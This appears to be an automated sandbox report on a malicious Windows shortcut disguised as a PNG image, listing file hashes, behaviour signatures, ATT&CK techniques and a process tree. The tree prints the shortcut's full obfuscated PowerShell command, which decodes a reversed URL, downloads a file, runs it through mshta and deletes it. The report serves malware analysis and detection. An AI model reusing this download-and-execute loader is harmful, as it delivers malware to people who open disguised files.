07fd6c66a7a9cfc1d67c140c7af9fbe1e842b0377cf1fe8859eff45f9aeee732

Analysis

max time kernel
61s
max time network
127s
platform
windows10-2004_x64
resource
win10v2004-20230220-en
resource tags

arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
submitted
14-04-2023 06:05

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General

Target

PHOTO-DRAWING-234196.png.lnk
Size

3KB
MD5

6da902f8bd37a322553f8ca8d3578b7a
SHA1

266299e5a1bc0c4c33754e1df85e4b32b29886b7
SHA256

07fd6c66a7a9cfc1d67c140c7af9fbe1e842b0377cf1fe8859eff45f9aeee732
SHA512

64603b1c9bd0342ae62a8980e5fdad04c47e0368276bfc013537d745cd6f8d9133f682f183b0b375cd58fbe42d39961a7be3c89af4a7b8a288fb08986853e69e

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
9	4272	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4272	powershell.exe
4272	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4272	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 3348 wrote to memory of 4272	3348	cmd.exe	84
PID 3348 wrote to memory of 4272	3348	cmd.exe	84
PID 4272 wrote to memory of 2556	4272	powershell.exe	85
PID 4272 wrote to memory of 2556	4272	powershell.exe	85
PID 4272 wrote to memory of 2556	4272	powershell.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PHOTO-DRAWING-234196.png.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3348
- C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ProgressPreference = 0; function nvRClWiAJT($OnUPXhNfGyEh){$OnUPXhNfGyEh[$OnUPXhNfGyEh.Length..0] -join('')}; function sDjLksFILdkrdR($OnUPXhNfGyEh){ $vecsWHuXBHu = nvRClWiAJT $OnUPXhNfGyEh; for($TJuYrHOorcZu = 0;$TJuYrHOorcZu -lt $vecsWHuXBHu.Length;$TJuYrHOorcZu += 2){ try{$zRavFAQNJqOVxb += nvRClWiAJT $vecsWHuXBHu.Substring($TJuYrHOorcZu,2)} catch{$zRavFAQNJqOVxb += $vecsWHuXBHu.Substring($TJuYrHOorcZu,1)}};$zRavFAQNJqOVxb}; $NpzibtULgyi = sDjLksFILdkrdR 'ahte.plamexm/coe.plamex//s:tpht'; $cDkdhkGBtl = $env:APPDATA + '\' + ($NpzibtULgyi -split '/')[-1]; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $wbpiCTsGYi = wget $NpzibtULgyi -UseBasicParsing; [IO.File]::WriteAllText($cDkdhkGBtl, $wbpiCTsGYi); & $cDkdhkGBtl; sleep 3; rm $cDkdhkGBtl;
  2⤵
  - Blocklisted process makes network request
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4272
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    PID:2556

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b13yx01v.tkg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4272-135-0x000002D806F50000-0x000002D806F72000-memory.dmp

Filesize
136KB

Download
memory/4272-145-0x000002D81F170000-0x000002D81F180000-memory.dmp

Filesize
64KB

Download
memory/4272-146-0x000002D81F170000-0x000002D81F180000-memory.dmp

Filesize
64KB

Download